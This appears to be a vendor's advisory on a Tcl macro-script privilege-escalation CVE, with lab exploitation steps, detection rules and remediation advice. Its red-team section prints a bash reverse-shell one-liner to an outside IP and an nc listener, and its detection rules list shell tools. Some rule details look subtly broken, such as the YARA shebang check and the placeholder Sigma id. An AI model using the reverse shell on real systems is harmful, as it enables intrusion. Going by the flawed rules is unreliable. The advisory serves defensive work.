CVE-2025-64691
Executive Summary
CVE-2025-64691 is a high-severity privilege escalation vulnerability affecting Tcl Macro scripts within a Tcl-based application server environment. An authenticated attacker with standard OS user privileges can tamper with TCL Macro scripts, leading to arbitrary code execution at the OS system level. This could result in full compromise of the application server, including data exfiltration, lateral movement, and persistent backdoor installation. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the high CVSS score (8.8) demands immediate attention.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom Tcl application server issue. Organizations using Tcl-based application servers should review their software supply chain for any dependencies on Tcl Macro scripts and ensure they are not exposed to untrusted users.
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Local (AV:L) – The attacker must have local access to the system.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: Low (PR:L) – Standard OS user account.
- User Interaction: None (UI:N) – No user action needed.
- Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
- Confidentiality Impact: High (C:H) – Full data access.
- Integrity Impact: High (I:H) – Full system modification.
- Availability Impact: High (A:H) – Potential denial of service.
Threat Level: Critical for environments where Tcl application servers are accessible to authenticated users. The lack of a patch and public exploit increases the risk of targeted attacks.
Deep Dive & Mechanics
The vulnerability lies in how the Tcl application server handles TCL Macro scripts. An authenticated standard user can modify or inject malicious code into these scripts. When the server executes the macros (likely with elevated privileges), the attacker's code runs in the context of the OS system user.
Root Cause: Improper access control or lack of integrity verification for TCL Macro script files. The server trusts the scripts without validating their origin or integrity, allowing a low-privileged user to overwrite them.
Attack Flow:
- Attacker gains initial access as a standard OS user (e.g., via phishing, weak credentials).
- Attacker identifies the location of TCL Macro scripts (e.g.,
/opt/tcl/macros/). - Attacker modifies or replaces a macro script with malicious code (e.g., a reverse shell or privilege escalation payload).
- The Tcl application server executes the macro (e.g., on user request or scheduled task).
- The malicious code runs with system privileges, granting the attacker full control.
Potential Impact:
- Full system compromise.
- Data theft (databases, configuration files).
- Lateral movement to other servers.
- Installation of backdoors or ransomware.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable behavior.
Vulnerable Code (Conceptual):
# Vulnerable: No integrity check on macro file
proc execute_macro {macro_name} {
set macro_file "/opt/tcl/macros/$macro_name.tcl"
if {[file exists $macro_file]} {
source $macro_file
}
}
Patched Code (Hypothetical):
# Patched: Verify file ownership and permissions
proc execute_macro {macro_name} {
set macro_file "/opt/tcl/macros/$macro_name.tcl"
if {[file exists $macro_file]} {
# Ensure file is owned by trusted user and not writable by others
set owner [file attributes $macro_file -owner]
set perms [file attributes $macro_file -permissions]
if {$owner eq "tcl_admin" && [string match "*-rw-r--r--*" $perms]} {
source $macro_file
} else {
error "Macro file integrity check failed"
}
}
}
Exploitation & Lab Setup
Red Team (Attacker)
Lab Environment:
- Target: Tcl Application Server (e.g., Tcl 8.6 on Linux)
- Attacker: Standard OS user (e.g.,
user1)
Exploitation Steps:
- Reconnaissance: Locate macro script directory.
find / -name "*.tcl" -type f 2>/dev/null | grep -i macro - Identify writable macro: Check permissions.
ls -la /opt/tcl/macros/ - Craft malicious macro: Create a reverse shell payload.
# malicious_macro.tcl exec /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' - Overwrite macro:
cp malicious_macro.tcl /opt/tcl/macros/legit_macro.tcl - Trigger execution: Wait for server to run the macro (e.g., via web request or cron job).
- Receive shell: On attacker machine.
nc -lvnp 4444
No public exploit code is available.
Blue Team (Defender)
Detection & Response:
- Monitor file integrity: Use tools like AIDE or Tripwire to detect changes to macro directories.
- Audit permissions: Ensure macro files are owned by a dedicated service account and not writable by standard users.
- Log analysis: Look for unusual process executions from the Tcl server.
grep "tclsh" /var/log/syslog | grep -i macro - Network monitoring: Detect reverse shell connections (e.g., outbound connections to unusual ports).
- Honeypot macros: Deploy decoy macros that alert when accessed.
Indicators of Compromise (IOCs)
- File Hashes: (None available, but monitor for modified
.tclfiles in macro directories) - Network Connections: Outbound connections from Tcl server to unknown IPs on ports 4444, 1337, etc.
- Process Anomalies:
tclshortclprocesses spawning shells (/bin/bash,/bin/sh). - File System Changes: New or modified files in
/opt/tcl/macros/or similar paths. - User Account Activity: Unusual logins from standard users during off-hours.
Detection Engineering
YARA Rule
rule CVE_2025_64691_Tcl_Macro_Tampering {
meta:
description = "Detects malicious Tcl macro scripts attempting privilege escalation"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-64691"
strings:
$exec = "exec" nocase
$socket = "socket" nocase
$reverse = "reverse" nocase
$bash = "/bin/bash" nocase
$nc = "nc" nocase
condition:
(uint16(0) == 0x2123) and // Tcl shebang (#!)
(1 of ($exec, $socket, $reverse, $bash, $nc))
}
Sigma Rule
title: CVE-2025-64691 Tcl Macro Privilege Escalation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects execution of Tcl macros with suspicious commands
author: Valters IT
date: 2025-01-01
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/tclsh'
CommandLine|contains:
- 'exec'
- '/bin/bash'
- 'nc'
- 'socket'
condition: selection
falsepositives:
- Legitimate Tcl scripts using exec for system commands
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2025-64691 Tcl Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict file permissions: Ensure macro script directories are owned by a dedicated service account (e.g.,
tcl_admin) and have permissions750or stricter. - Implement integrity monitoring: Use file integrity monitoring (FIM) tools to alert on changes to macro files.
- Apply principle of least privilege: Run the Tcl application server with a non-root service account.
- Network segmentation: Isolate the Tcl server from untrusted networks.
Long-term Fix:
- Vendor must release a patch that validates macro script integrity (e.g., digital signatures or checksums).
- Until then, consider disabling macro execution for untrusted users or implementing a whitelist of approved macros.
Workaround:
- Use a wrapper script that checks file ownership and permissions before sourcing macros.
- Example:
#!/bin/bash MACRO_FILE="/opt/tcl/macros/$1.tcl" if [ "$(stat -c %U $MACRO_FILE)" == "tcl_admin" ] && [ "$(stat -c %a $MACRO_FILE)" == "644" ]; then tclsh $MACRO_FILE else echo "Macro integrity check failed" fi
Valters IT
DevSecOps & Cyber Threat Intelligence